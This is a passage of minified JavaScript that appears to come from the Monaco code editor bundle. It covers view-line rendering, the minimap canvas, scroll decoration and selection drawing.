f(t,e),t.prototype.emitScrollChanged=function(e){this._onDidScroll.fire(e)},t.prototype.emitViewFocusGained=function(){this._onDidGainFocus.fire()},t.prototype.emitViewFocusLost=function(){this._onDidLoseFocus.fire()},t.prototype.emitKeyDown=function(e){this._onKeyDown.fire(e)},t.prototype.emitKeyUp=function(e){this._onKeyUp.fire(e)},t.prototype.emitContextMenu=function(e){this._onContextMenu.fire(this._convertViewToModelMouseEvent(e))},t.prototype.emitMouseMove=function(e){this._onMouseMove.fire(this._convertViewToModelMouseEvent(e))},t.prototype.emitMouseLeave=function(e){this._onMouseLeave.fire(this._convertViewToModelMouseEvent(e))},t.prototype.emitMouseUp=function(e){this._onMouseUp.fire(this._convertViewToModelMouseEvent(e))},t.prototype.emitMouseDown=function(e){this._onMouseDown.fire(this._convertViewToModelMouseEvent(e))},t.prototype.emitMouseDrag=function(e){this._onMouseDrag.fire(this._convertViewToModelMouseEvent(e))},t.prototype.emitMouseDrop=function(e){this._onMouseDrop.fire(this._convertViewToModelMouseEvent(e))},t.prototype._convertViewToModelMouseEvent=function(e){return e.target?{event:e.event,target:this._convertViewToModelMouseTarget(e.target)}:e},t.prototype._convertViewToModelMouseTarget=function(e){return new s(e.element,e.type,e.mouseColumn,e.position?this._convertViewToModelPosition(e.position):null,e.range?this._convertViewToModelRange(e.range):null,e.detail)},t.prototype._convertViewToModelPosition=function(e){return this._viewModel.coordinatesConverter.convertViewPositionToModelPosition(e)},t.prototype._convertViewToModelRange=function(e){return this._viewModel.coordinatesConverter.convertViewRangeToModelRange(e)},t}(n.Disposable);t.ViewOutgoingEvents=r;var s=function(){function e(e,t,n,i,o,r){this.element=e,this.type=t,this.mouseColumn=n,this.position=i,this.range=o,this.detail=r}return e.prototype.toString=function(){return i.MouseTarget.toString(this)},e}()}),define(d[492],h([1,0,18,2,12,112,185,66,78,35,57,286]),function(e,t,n,i,o,r,s,a,u,l,c){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var d=function(){function e(){this._currentVisibleRange=new i.Range(1,1,1,1)}return e.prototype.getCurrentVisibleRange=function(){return this._currentVisibleRange},e.prototype.setCurrentVisibleRange=function(e){this._currentVisibleRange=e},e}(),h=function(e){function t(t,i){var o=e.call(this,t)||this;o._linesContent=i,o._textRangeRestingSpot=document.createElement(\"div\"),o._visibleLines=new r.VisibleLinesCollection(o),o.domNode=o._visibleLines.domNode;var u=o._context.configuration;return o._lineHeight=u.editor.lineHeight,o._typicalHalfwidthCharacterWidth=u.editor.fontInfo.typicalHalfwidthCharacterWidth,o._isViewportWrapping=u.editor.wrappingInfo.isViewportWrapping,o._revealHorizontalRightPadding=u.editor.viewInfo.revealHorizontalRightPadding,o._canUseLayerHinting=u.editor.canUseLayerHinting,o._viewLineOptions=new s.ViewLineOptions(u,o._context.theme.type),l.PartFingerprints.write(o.domNode,7),o.domNode.setClassName(\"view-lines\"),a.Configuration.applyFontInfo(o.domNode,u.editor.fontInfo),o._maxLineWidth=0,o._asyncUpdateLineWidths=new n.RunOnceScheduler(function(){o._updateLineWidths()},200),o._lastRenderedData=new d,o._lastCursorRevealRangeHorizontallyEvent=null,o}return f(t,e),t.prototype.dispose=function(){this._asyncUpdateLineWidths.dispose(),e.prototype.dispose.call(this)},t.prototype.getDomNode=function(){return this.domNode},t.prototype.createVisibleLine=function(){return new s.ViewLine(this._viewLineOptions)},t.prototype.onConfigurationChanged=function(e){this._visibleLines.onConfigurationChanged(e),e.wrappingInfo&&(this._maxLineWidth=0);var t=this._context.configuration;return e.lineHeight&&(this._lineHeight=t.editor.lineHeight),e.fontInfo&&(this._typicalHalfwidthCharacterWidth=t.editor.fontInfo.typicalHalfwidthCharacterWidth),e.wrappingInfo&&(this._isViewportWrapping=t.editor.wrappingInfo.isViewportWrapping),e.viewInfo&&(this._revealHorizontalRightPadding=t.editor.viewInfo.revealHorizontalRightPadding),e.canUseLayerHinting&&(this._canUseLayerHinting=t.editor.canUseLayerHinting),e.fontInfo&&a.Configuration.applyFontInfo(this.domNode,t.editor.fontInfo),this._onOptionsMaybeChanged(),e.layoutInfo&&(this._maxLineWidth=0),!0},t.prototype._onOptionsMaybeChanged=function(){var e=this._context.configuration,t=new s.ViewLineOptions(e,this._context.theme.type);if(!this._viewLineOptions.equals(t)){this._viewLineOptions=t;for(var n=this._visibleLines.getStartLineNumber(),i=this._visibleLines.getEndLineNumber(),o=n;o<=i;o++)this._visibleLines.getVisibleLine(o).onOptionsChanged(this._viewLineOptions);return!0}return!1},t.prototype.onCursorStateChanged=function(e){for(var t=this._visibleLines.getStartLineNumber(),n=this._visibleLines.getEndLineNumber(),i=!1,o=t;o<=n;o++)i=this._visibleLines.getVisibleLine(o).onSelectionChanged()||i;return i},t.prototype.onDecorationsChanged=function(e){for(var t=this._visibleLines.getStartLineNumber(),n=this._visibleLines.getEndLineNumber(),i=t;i<=n;i++)this._visibleLines.getVisibleLine(i).onDecorationsChanged();return!0},t.prototype.onFlushed=function(e){var t=this._visibleLines.onFlushed(e);return this._maxLineWidth=0,t},t.prototype.onLinesChanged=function(e){return this._visibleLines.onLinesChanged(e)},t.prototype.onLinesDeleted=function(e){return this._visibleLines.onLinesDeleted(e)},t.prototype.onLinesInserted=function(e){return this._visibleLines.onLinesInserted(e)},t.prototype.onRevealRangeRequest=function(e){var t=this._computeScrollTopToRevealRange(this._context.viewLayout.getCurrentViewport(),e.range,e.verticalType);return e.revealHorizontal&&(this._lastCursorRevealRangeHorizontallyEvent=e),this._context.viewLayout.setScrollPosition({scrollTop:t}),!0},t.prototype.onScrollChanged=function(e){return this.domNode.setWidth(e.scrollWidth),this._visibleLines.onScrollChanged(e)||!0},t.prototype.onTokensChanged=function(e){return this._visibleLines.onTokensChanged(e)},t.prototype.onZonesChanged=function(e){return this._visibleLines.onZonesChanged(e)},t.prototype.onThemeChanged=function(e){return this._onOptionsMaybeChanged()},t.prototype.getPositionFromDOMInfo=function(e,t){var n=this._getViewLineDomNode(e);if(null===n)return null;var i=this._getLineNumberFor(n);if(-1===i)return null;if(i<1||i>this._context.model.getLineCount())return null;if(1===this._context.model.getLineMaxColumn(i))return new o.Position(i,1);var r=this._visibleLines.getStartLineNumber(),s=this._visibleLines.getEndLineNumber();if(i<r||i>s)return null;var a=this._visibleLines.getVisibleLine(i).getColumnOfNodeOffset(i,e,t),u=this._context.model.getLineMinColumn(i);return a<u&&(a=u),new o.Position(i,a)},t.prototype._getViewLineDomNode=function(e){for(;e&&1===e.nodeType;){if(e.className===s.ViewLine.CLASS_NAME)return e;e=e.parentElement}return null},t.prototype._getLineNumberFor=function(e){for(var t=this._visibleLines.getStartLineNumber(),n=this._visibleLines.getEndLineNumber(),i=t;i<=n;i++)if(e===this._visibleLines.getVisibleLine(i).getDomNode())return i;return-1},t.prototype.getLineWidth=function(e){var t=this._visibleLines.getStartLineNumber(),n=this._visibleLines.getEndLineNumber();return e<t||e>n?-1:this._visibleLines.getVisibleLine(e).getWidth()},t.prototype.linesVisibleRangesForRange=function(e,t){if(this.shouldRender())return null;var n=e.endLineNumber;if(!(e=i.Range.intersectRanges(e,this._lastRenderedData.getCurrentVisibleRange())))return null;var r,a=[],l=new s.DomReadingContext(this.domNode.domNode,this._textRangeRestingSpot);t&&(r=this._context.model.coordinatesConverter.convertViewPositionToModelPosition(new o.Position(e.startLineNumber,1)).lineNumber);for(var c=this._visibleLines.getStartLineNumber(),d=this._visibleLines.getEndLineNumber(),h=e.startLineNumber;h<=e.endLineNumber;h++)if(!(h<c||h>d)){var p=h===e.startLineNumber?e.startColumn:1,f=h===e.endLineNumber?e.endColumn:this._context.model.getLineMaxColumn(h),g=this._visibleLines.getVisibleLine(h).getVisibleRangesForRange(p,f,l);g&&0!==g.length&&(t&&h<n&&r!==(r=this._context.model.coordinatesConverter.convertViewPositionToModelPosition(new o.Position(h+1,1)).lineNumber)&&(g[g.length-1].width+=this._typicalHalfwidthCharacterWidth),a.push(new u.LineVisibleRanges(h,g)))}return 0===a.length?null:a},t.prototype.visibleRangesForRange2=function(e){if(this.shouldRender())return null;if(!(e=i.Range.intersectRanges(e,this._lastRenderedData.getCurrentVisibleRange())))return null;for(var t=[],n=new s.DomReadingContext(this.domNode.domNode,this._textRangeRestingSpot),o=this._visibleLines.getStartLineNumber(),r=this._visibleLines.getEndLineNumber(),a=e.startLineNumber;a<=e.endLineNumber;a++)if(!(a<o||a>r)){var u=a===e.startLineNumber?e.startColumn:1,l=a===e.endLineNumber?e.endColumn:this._context.model.getLineMaxColumn(a),c=this._visibleLines.getVisibleLine(a).getVisibleRangesForRange(u,l,n);c&&0!==c.length&&(t=t.concat(c))}return 0===t.length?null:t},t.prototype._updateLineWidths=function(){for(var e=this._visibleLines.getStartLineNumber(),t=this._visibleLines.getEndLineNumber(),n=1,i=e;i<=t;i++){var o=this._visibleLines.getVisibleLine(i).getWidth();n=Math.max(n,o)}1===e&&t===this._context.model.getLineCount()&&(this._maxLineWidth=0),this._ensureMaxLineWidth(n)},t.prototype.prepareRender=function(){throw new Error(\"Not supported\")},t.prototype.render=function(){throw new Error(\"Not supported\")},t.prototype.renderText=function(e){if(this._visibleLines.renderLines(e),this._lastRenderedData.setCurrentVisibleRange(e.visibleRange),this.domNode.setWidth(this._context.viewLayout.getScrollWidth()),this.domNode.setHeight(Math.min(this._context.viewLayout.getScrollHeight(),1e6)),this._lastCursorRevealRangeHorizontallyEvent){var t=this._lastCursorRevealRangeHorizontallyEvent.range;this._lastCursorRevealRangeHorizontallyEvent=null,this.onDidRender();var n=this._computeScrollLeftToRevealRange(t);this._isViewportWrapping||this._ensureMaxLineWidth(n.maxHorizontalOffset),this._context.viewLayout.setScrollPosition({scrollLeft:n.scrollLeft})}this._linesContent.setLayerHinting(this._canUseLayerHinting);var i=this._context.viewLayout.getScrollTop()-e.bigNumbersDelta;this._linesContent.setTop(-i),this._linesContent.setLeft(-this._context.viewLayout.getScrollLeft()),this._asyncUpdateLineWidths.schedule()},t.prototype._ensureMaxLineWidth=function(e){var t=Math.ceil(e);this._maxLineWidth<t&&(this._maxLineWidth=t,this._context.viewLayout.onMaxLineWidthChanged(this._maxLineWidth))},t.prototype._computeScrollTopToRevealRange=function(e,t,n){var i,o,r=e.top,s=e.height,a=r+s;i=this._context.viewLayout.getVerticalOffsetForLineNumber(t.startLineNumber),o=this._context.viewLayout.getVerticalOffsetForLineNumber(t.endLineNumber)+this._lineHeight,0!==n&&4!==n||(o+=this._lineHeight);var u;if(1===n||2===n)if(2===n&&r<=i&&o<=a)u=r;else{var l=(i+o)/2;u=Math.max(0,l-s/2)}else u=this._computeMinimumScrolling(r,a,i,o,3===n,4===n);return u},t.prototype._computeScrollLeftToRevealRange=function(e){var n=0;if(e.startLineNumber!==e.endLineNumber)return{scrollLeft:0,maxHorizontalOffset:n};var i=this._context.viewLayout.getCurrentViewport(),o=i.left,r=o+i.width,s=this.visibleRangesForRange2(e),a=Number.MAX_VALUE,u=0;if(!s)return{scrollLeft:o,maxHorizontalOffset:n};for(var l=0;l<s.length;l++){var c=s[l];c.left<a&&(a=c.left),c.left+c.width>u&&(u=c.left+c.width)}return n=u,a=Math.max(0,a-t.HORIZONTAL_EXTRA_PX),u+=this._revealHorizontalRightPadding,{scrollLeft:this._computeMinimumScrolling(o,r,a,u),maxHorizontalOffset:n}},t.prototype._computeMinimumScrolling=function(e,t,n,i,o,r){o=!!o,r=!!r;var s=(t|=0)-(e|=0);return(i|=0)-(n|=0)<s?o?n:r?Math.max(0,i-s):n<e?n:i>t?Math.max(0,i-s):e:n},t.HORIZONTAL_EXTRA_PX=30,t}(l.ViewPart);t.ViewLines=h}),define(d[493],h([1,0,35,215,4,111,27,112,2,57,83,15,14,23,294]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p){\"use strict\";function g(e){return 2===e?4:4===e?6:1===e?2:3}function m(e){return 2===e?2:4===e?2:1}Object.defineProperty(t,\"__esModule\",{value:!0});var v;!function(e){e[e.None=0]=\"None\",e[e.Small=1]=\"Small\",e[e.Large=2]=\"Large\",e[e.SmallBlocks=3]=\"SmallBlocks\",e[e.LargeBlocks=4]=\"LargeBlocks\"}(v||(v={}));var _=140,y=function(){function e(e){var t=e.editor.pixelRatio,n=e.editor.layoutInfo,i=e.editor.viewInfo,o=e.editor.fontInfo;this.renderMinimap=0|n.renderMinimap,this.scrollBeyondLastLine=i.scrollBeyondLastLine,this.showSlider=i.minimap.showSlider,this.pixelRatio=t,this.typicalHalfwidthCharacterWidth=o.typicalHalfwidthCharacterWidth,this.lineHeight=e.editor.lineHeight,this.minimapWidth=n.minimapWidth,this.minimapHeight=n.height,this.canvasInnerWidth=Math.max(1,Math.floor(t*this.minimapWidth)),this.canvasInnerHeight=Math.max(1,Math.floor(t*this.minimapHeight)),this.canvasOuterWidth=this.canvasInnerWidth/t,this.canvasOuterHeight=this.canvasInnerHeight/t}return e.prototype.equals=function(e){return this.renderMinimap===e.renderMinimap&&this.scrollBeyondLastLine===e.scrollBeyondLastLine&&this.showSlider===e.showSlider&&this.pixelRatio===e.pixelRatio&&this.typicalHalfwidthCharacterWidth===e.typicalHalfwidthCharacterWidth&&this.lineHeight===e.lineHeight&&this.minimapWidth===e.minimapWidth&&this.minimapHeight===e.minimapHeight&&this.canvasInnerWidth===e.canvasInnerWidth&&this.canvasInnerHeight===e.canvasInnerHeight&&this.canvasOuterWidth===e.canvasOuterWidth&&this.canvasOuterHeight===e.canvasOuterHeight},e}(),C=function(){function e(e,t,n,i,o,r,s){this.scrollTop=e,this.scrollHeight=t,this._computedSliderRatio=n,this.sliderTop=i,this.sliderHeight=o,this.startLineNumber=r,this.endLineNumber=s}return e.prototype.getDesiredScrollTopFromDelta=function(e){var t=this.sliderTop+e;return Math.round(t/this._computedSliderRatio)},e.create=function(t,n,i,o,r,s,a,u,l){var c,d=t.pixelRatio,h=g(t.renderMinimap),p=Math.floor(t.canvasInnerHeight/h),f=t.lineHeight;if(r&&i!==s){var m=i-n+1;c=Math.floor(m*h/d)}else{var v=o/f;c=Math.floor(v*h/d)}var _;_=t.scrollBeyondLastLine?(s-1)*h/d:Math.max(0,s*h/d-c);var y=(_=Math.min(t.minimapHeight-c,_))/(u-o),C=a*y;if(p>=s)return new e(a,u,y,C,c,b=1,w=s);var b=Math.max(1,Math.floor(n-C*d/h));l&&l.scrollHeight===u&&(l.scrollTop>a&&(b=Math.min(b,l.startLineNumber)),l.scrollTop<a&&(b=Math.max(b,l.startLineNumber)));var w=Math.min(s,b+p-1);return new e(a,u,y,C,c,b,w)},e}(),b=function(){function e(e){this.dy=e}return e.prototype.onContentChanged=function(){this.dy=-1},e.prototype.onTokensChanged=function(){this.dy=-1},e.INVALID=new e(-1),e}(),w=function(){function e(e,t,n){this.renderedLayout=e,this._imageData=t,this._renderedLines=new a.RenderedLinesCollection(function(){return b.INVALID}),this._renderedLines._set(e.startLineNumber,n)}return e.prototype.linesEquals=function(e){if(this.renderedLayout.startLineNumber!==e.startLineNumber)return!1;if(this.renderedLayout.endLineNumber!==e.endLineNumber)return!1;for(var t=this._renderedLines._get().lines,n=0,i=t.length;n<i;n++)if(-1===t[n].dy)return!1;return!0},e.prototype._get=function(){var e=this._renderedLines._get();return{imageData:this._imageData,rendLineNumberStart:e.rendLineNumberStart,lines:e.lines}},e.prototype.onLinesChanged=function(e){return this._renderedLines.onLinesChanged(e.fromLineNumber,e.toLineNumber)},e.prototype.onLinesDeleted=function(e){this._renderedLines.onLinesDeleted(e.fromLineNumber,e.toLineNumber)},e.prototype.onLinesInserted=function(e){this._renderedLines.onLinesInserted(e.fromLineNumber,e.toLineNumber)},e.prototype.onTokensChanged=function(e){return this._renderedLines.onTokensChanged(e.ranges)},e}(),S=function(){function e(t,n,i,o){this._backgroundFillData=e._createBackgroundFillData(n,i,o),this._buffers=[t.createImageData(n,i),t.createImageData(n,i)],this._lastUsedBuffer=0}return e.prototype.getBuffer=function(){this._lastUsedBuffer=1-this._lastUsedBuffer;var e=this._buffers[this._lastUsedBuffer];return e.data.set(this._backgroundFillData),e},e._createBackgroundFillData=function(e,t,n){for(var i=n.r,o=n.g,r=n.b,s=new Uint8ClampedArray(e*t*4),a=0,u=0;u<t;u++)for(var l=0;l<e;l++)s[a]=i,s[a+1]=o,s[a+2]=r,s[a+3]=255,a+=4;return s},e}(),E=function(e){function t(t){var a=e.call(this,t)||this;return a._options=new y(a._context.configuration),a._lastRenderData=null,a._buffers=null,a._domNode=s.createFastDomNode(document.createElement(\"div\")),n.PartFingerprints.write(a._domNode,8),a._domNode.setClassName(a._getMinimapDomNodeClassName()),a._domNode.setPosition(\"absolute\"),a._domNode.setAttribute(\"role\",\"presentation\"),a._domNode.setAttribute(\"aria-hidden\",\"true\"),a._domNode.setRight(a._context.configuration.editor.layoutInfo.verticalScrollbarWidth),a._shadow=s.createFastDomNode(document.createElement(\"div\")),a._shadow.setClassName(\"minimap-shadow-hidden\"),a._domNode.appendChild(a._shadow),a._canvas=s.createFastDomNode(document.createElement(\"canvas\")),a._canvas.setPosition(\"absolute\"),a._canvas.setLeft(0),a._domNode.appendChild(a._canvas),a._slider=s.createFastDomNode(document.createElement(\"div\")),a._slider.setPosition(\"absolute\"),a._slider.setClassName(\"minimap-slider\"),a._slider.setLayerHinting(!0),a._domNode.appendChild(a._slider),a._sliderHorizontal=s.createFastDomNode(document.createElement(\"div\")),a._sliderHorizontal.setPosition(\"absolute\"),a._sliderHorizontal.setClassName(\"minimap-slider-horizontal\"),a._slider.appendChild(a._sliderHorizontal),a._tokensColorTracker=r.MinimapTokensColorTracker.getInstance(),a._minimapCharRenderer=i.getOrCreateMinimapCharRenderer(),a._applyLayout(),a._mouseDownListener=o.addStandardDisposableListener(a._canvas.domNode,\"mousedown\",function(e){e.preventDefault();var t=a._options.renderMinimap;if(0!==t&&a._lastRenderData){var n=g(t),i=a._options.pixelRatio*e.browserEvent.offsetY,o=Math.floor(i/n)+a._lastRenderData.renderedLayout.startLineNumber;o=Math.min(o,a._context.model.getLineCount()),a._context.privateViewEventBus.emit(new l.ViewRevealRangeRequestEvent(new u.Range(o,1,o,1),1,!1))}}),a._sliderMouseMoveMonitor=new c.GlobalMouseMoveMonitor,a._sliderMouseDownListener=o.addStandardDisposableListener(a._slider.domNode,\"mousedown\",function(e){if(e.preventDefault(),e.leftButton&&a._lastRenderData){var t=e.posy,n=e.posx,i=a._lastRenderData.renderedLayout;a._slider.toggleClassName(\"active\",!0),a._sliderMouseMoveMonitor.startMonitoring(c.standardMouseMoveMerger,function(e){var o=Math.abs(e.posx-n);if(d.isWindows&&o>_)a._context.viewLayout.setScrollPosition({scrollTop:i.scrollTop});else{var r=e.posy-t;a._context.viewLayout.setScrollPosition({scrollTop:i.getDesiredScrollTopFromDelta(r)})}},function(){a._slider.toggleClassName(\"active\",!1)})}}),a}return f(t,e),t.prototype.dispose=function(){this._mouseDownListener.dispose(),this._sliderMouseMoveMonitor.dispose(),this._sliderMouseDownListener.dispose(),e.prototype.dispose.call(this)},t.prototype._getMinimapDomNodeClassName=function(){return\"always\"===this._options.showSlider?\"minimap slider-always\":\"minimap slider-mouseover\"},t.prototype.getDomNode=function(){return this._domNode},t.prototype._applyLayout=function(){this._domNode.setWidth(this._options.minimapWidth),this._domNode.setHeight(this._options.minimapHeight),this._shadow.setHeight(this._options.minimapHeight),this._canvas.setWidth(this._options.canvasOuterWidth),this._canvas.setHeight(this._options.canvasOuterHeight),this._canvas.domNode.width=this._options.canvasInnerWidth,this._canvas.domNode.height=this._options.canvasInnerHeight,this._slider.setWidth(this._options.minimapWidth)},t.prototype._getBuffer=function(){return this._buffers||(this._buffers=new S(this._canvas.domNode.getContext(\"2d\"),this._options.canvasInnerWidth,this._options.canvasInnerHeight,this._tokensColorTracker.getColor(2))),this._buffers.getBuffer()},t.prototype._onOptionsMaybeChanged=function(){var e=new y(this._context.configuration);return!this._options.equals(e)&&(this._options=e,this._lastRenderData=null,this._buffers=null,this._applyLayout(),this._domNode.setClassName(this._getMinimapDomNodeClassName()),!0)},t.prototype.onConfigurationChanged=function(e){return this._onOptionsMaybeChanged()},t.prototype.onFlushed=function(e){return this._lastRenderData=null,!0},t.prototype.onLinesChanged=function(e){return!!this._lastRenderData&&this._lastRenderData.onLinesChanged(e)},t.prototype.onLinesDeleted=function(e){return this._lastRenderData&&this._lastRenderData.onLinesDeleted(e),!0},t.prototype.onLinesInserted=function(e){return this._lastRenderData&&this._lastRenderData.onLinesInserted(e),!0},t.prototype.onScrollChanged=function(e){return!0},t.prototype.onTokensChanged=function(e){return!!this._lastRenderData&&this._lastRenderData.onTokensChanged(e)},t.prototype.onTokensColorsChanged=function(e){return this._lastRenderData=null,this._buffers=null,!0},t.prototype.onZonesChanged=function(e){return this._lastRenderData=null,!0},t.prototype.prepareRender=function(e){},t.prototype.render=function(e){if(0!==this._options.renderMinimap){e.scrollLeft+e.viewportWidth>=e.scrollWidth?this._shadow.setClassName(\"minimap-shadow-hidden\"):this._shadow.setClassName(\"minimap-shadow-visible\");var t=C.create(this._options,e.visibleRange.startLineNumber,e.visibleRange.endLineNumber,e.viewportHeight,e.viewportData.whitespaceViewportData.length>0,this._context.model.getLineCount(),e.scrollTop,e.scrollHeight,this._lastRenderData?this._lastRenderData.renderedLayout:null);this._slider.setTop(t.sliderTop),this._slider.setHeight(t.sliderHeight);var n=e.scrollLeft/this._options.typicalHalfwidthCharacterWidth,i=Math.min(this._options.minimapWidth,Math.round(n*m(this._options.renderMinimap)/this._options.pixelRatio));this._sliderHorizontal.setLeft(i),this._sliderHorizontal.setWidth(this._options.minimapWidth-i),this._sliderHorizontal.setTop(0),this._sliderHorizontal.setHeight(t.sliderHeight),this._lastRenderData=this.renderLines(t)}else this._shadow.setClassName(\"minimap-shadow-hidden\")},t.prototype.renderLines=function(e){var n=this._options.renderMinimap,i=e.startLineNumber,o=e.endLineNumber,r=g(n);if(this._lastRenderData&&this._lastRenderData.linesEquals(e)){var s=this._lastRenderData._get();return new w(e,s.imageData,s.lines)}for(var a=this._getBuffer(),u=t._renderUntouchedLines(a,i,o,r,this._lastRenderData),l=this._context.model.getMinimapLinesRenderingData(i,o,u),c=l.tabSize,d=this._tokensColorTracker.getColor(2),h=this._tokensColorTracker.backgroundIsLight(),p=0,f=[],m=0,v=o-i+1;m<v;m++)u[m]&&t._renderLine(a,d,h,n,this._tokensColorTracker,this._minimapCharRenderer,p,c,l.data[m]),f[m]=new b(p),p+=r;return this._canvas.domNode.getContext(\"2d\").putImageData(a,0,0),new w(e,a,f)},t._renderUntouchedLines=function(e,t,n,i,o){var r=[];if(!o){for(var s=0,a=n-t+1;s<a;s++)r[s]=!0;return r}for(var u=o._get(),l=u.imageData.data,c=u.rendLineNumberStart,d=u.lines,h=d.length,p=e.width,f=e.data,g=-1,m=-1,v=-1,_=-1,y=0,C=t;C<=n;C++){var b=C-t,w=C-c,S=w>=0&&w<h?d[w].dy:-1;if(-1!==S){var E=S*p*4,L=(S+i)*p*4,x=y*p*4,N=(y+i)*p*4;m===E&&_===x?(m=L,_=N):(-1!==g&&f.set(l.subarray(g,m),v),g=E,m=L,v=x,_=N),r[b]=!1,y+=i}else r[b]=!0,y+=i}return-1!==g&&f.set(l.subarray(g,m),v),r},t._renderLine=function(e,t,n,i,o,r,s,a,u){for(var l=u.content,c=u.tokens,d=m(i),h=e.width-d,p=0,f=0,g=0,v=0,_=c.length;v<_;v++)for(var y=c[v],C=y.endIndex,b=y.getForeground(),w=o.getColor(b);f<C;f++){if(p>h)return;var S=l.charCodeAt(f);if(9===S){var E=a-(f+g)%a;g+=E-1,p+=E*d}else 32===S?p+=d:(2===i?r.x2RenderChar(e,p,s,S,w,t,n):1===i?r.x1RenderChar(e,p,s,S,w,t,n):4===i?r.x2BlockRenderChar(e,p,s,w,t,n):r.x1BlockRenderChar(e,p,s,w,t,n),p+=d)}},t}(n.ViewPart);t.Minimap=E,h.registerThemingParticipant(function(e,t){var n=e.getColor(p.scrollbarSliderBackground);if(n){var i=n.transparent(.5);t.addRule(\".monaco-editor .minimap-slider, .monaco-editor .minimap-slider .minimap-slider-horizontal { background: \"+i+\"; }\")}var o=e.getColor(p.scrollbarSliderHoverBackground);if(o){var r=o.transparent(.5);t.addRule(\".monaco-editor .minimap-slider:hover, .monaco-editor .minimap-slider:hover .minimap-slider-horizontal { background: \"+r+\"; }\")}var s=e.getColor(p.scrollbarSliderActiveBackground);if(s){var a=s.transparent(.5);t.addRule(\".monaco-editor .minimap-slider.active, .monaco-editor .minimap-slider.active .minimap-slider-horizontal { background: \"+a+\"; }\")}var u=e.getColor(p.scrollbarShadow);u&&t.addRule(\".monaco-editor .minimap-shadow-visible { box-shadow: \"+u+\" -6px 0 6px -6px inset; }\")})}),define(d[494],h([1,0,27,35,14,23,300]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(e){function t(t){var i=e.call(this,t)||this;return i._scrollTop=0,i._width=0,i._updateWidth(),i._shouldShow=!1,i._useShadows=i._context.configuration.editor.viewInfo.scrollbar.useShadows,i._domNode=n.createFastDomNode(document.createElement(\"div\")),i._domNode.setAttribute(\"role\",\"presentation\"),i._domNode.setAttribute(\"aria-hidden\",\"true\"),i}return f(t,e),t.prototype.dispose=function(){e.prototype.dispose.call(this)},t.prototype._updateShouldShow=function(){var e=this._useShadows&&this._scrollTop>0;return this._shouldShow!==e&&(this._shouldShow=e,!0)},t.prototype.getDomNode=function(){return this._domNode},t.prototype._updateWidth=function(){var e=this._context.configuration.editor.layoutInfo,t=e.width-e.minimapWidth;return this._width!==t&&(this._width=t,!0)},t.prototype.onConfigurationChanged=function(e){var t=!1;return e.viewInfo&&(this._useShadows=this._context.configuration.editor.viewInfo.scrollbar.useShadows),e.layoutInfo&&(t=this._updateWidth()),this._updateShouldShow()||t},t.prototype.onScrollChanged=function(e){return this._scrollTop=e.scrollTop,this._updateShouldShow()},t.prototype.prepareRender=function(e){},t.prototype.render=function(e){this._domNode.setWidth(this._width),this._domNode.setClassName(this._shouldShow?\"scroll-decoration\":\"\")},t}(i.ViewPart);t.ScrollDecorationViewPart=s,o.registerThemingParticipant(function(e,t){var n=e.getColor(r.scrollbarShadow);n&&t.addRule(\".monaco-editor .scroll-decoration { box-shadow: \"+n+\" 0 6px 6px -6px inset; }\")})}),define(d[495],h([1,0,14,23,67,28,306]),function(e,t,n,i,o,r){\"use strict\";function s(e){return new l(e)}function a(e){return new c(e.lineNumber,e.ranges.map(s))}Object.defineProperty(t,\"__esModule\",{value:!0});var u;!function(e){e[e.EXTERN=0]=\"EXTERN\",e[e.INTERN=1]=\"INTERN\",e[e.FLAT=2]=\"FLAT\"}(u||(u={}));var l=function(){return function(e){this.left=e.left,this.width=e.width,this.startStyle=null,this.endStyle=null}}(),c=function(){return function(e,t){this.lineNumber=e,this.ranges=t}}(),d=r.isEdgeOrIE,h=function(e){function t(t){var n=e.call(this)||this;return n._previousFrameVisibleRangesWithStyle=[],n._context=t,n._lineHeight=n._context.configuration.editor.lineHeight,n._roundedSelection=n._context.configuration.editor.viewInfo.roundedSelection,n._selections=[],n._renderResult=null,n._context.addEventHandler(n),n}return f(t,e),t.prototype.dispose=function(){this._context.removeEventHandler(this),this._context=null,this._selections=null,this._renderResult=null,e.prototype.dispose.call(this)},t.prototype.onConfigurationChanged=function(e){return e.lineHeight&&(this._lineHeight=this._context.configuration.editor.lineHeight),e.viewInfo&&(this._roundedSelection=this._context.configuration.editor.viewInfo.roundedSelection),!0},t.prototype.onCursorStateChanged=function(e){return this._selections=e.selections.slice(0),!0},t.prototype.onDecorationsChanged=function(e){return!0},t.prototype.onFlushed=function(e){return!0},t.prototype.onLinesChanged=function(e){return!0},t.prototype.onLinesDeleted=function(e){return!0},t.prototype.onLinesInserted=function(e){return!0},t.prototype.onScrollChanged=function(e){return e.scrollTopChanged},t.prototype.onZonesChanged=function(e){return!0},t.prototype._visibleRangesHaveGaps=function(e){for(var t=0,n=e.length;t<n;t++)if(e[t].ranges.length>1)return!0;return!1},t.prototype._enrichVisibleRangesWithStyle=function(e,t){var n=null,i=null;if(t&&t.length>0&&e.length>0){for(var o=e[0].lineNumber,r=0;!n&&r<t.length;r++)t[r].lineNumber===o&&(n=t[r].ranges[0]);for(var s=e[e.length-1].lineNumber,r=t.length-1;!i&&r>=0;r--)t[r].lineNumber===s&&(i=t[r].ranges[0]);n&&!n.startStyle&&(n=null),i&&!i.startStyle&&(i=null)}for(var r=0,a=e.length;r<a;r++){var u=e[r].ranges[0],l=u.left,c=u.left+u.width,d={top:0,bottom:0},h={top:0,bottom:0};if(r>0){var p=e[r-1].ranges[0].left,f=e[r-1].ranges[0].left+e[r-1].ranges[0].width;l===p?d.top=2:l>p&&(d.top=1),c===f?h.top=2:p<c&&c<f&&(h.top=1)}else n&&(d.top=n.startStyle.top,h.top=n.endStyle.top);if(r+1<a){var g=e[r+1].ranges[0].left,m=e[r+1].ranges[0].left+e[r+1].ranges[0].width;l===g?d.bottom=2:g<l&&l<m&&(d.bottom=1),c===m?h.bottom=2:c<m&&(h.bottom=1)}else i&&(d.bottom=i.startStyle.bottom,h.bottom=i.endStyle.bottom);u.startStyle=d,u.endStyle=h}},t.prototype._getVisibleRangesWithStyle=function(e,t,n){var i=(t.linesVisibleRangesForRange(e,!0)||[]).map(a),o=this._visibleRangesHaveGaps(i);return d||o||!this._roundedSelection||this._enrichVisibleRangesWithStyle(i,n),i},t.prototype._createSelectionPiece=function(e,t,n,i,o){return'<div class=\"cslr '+n+'\" 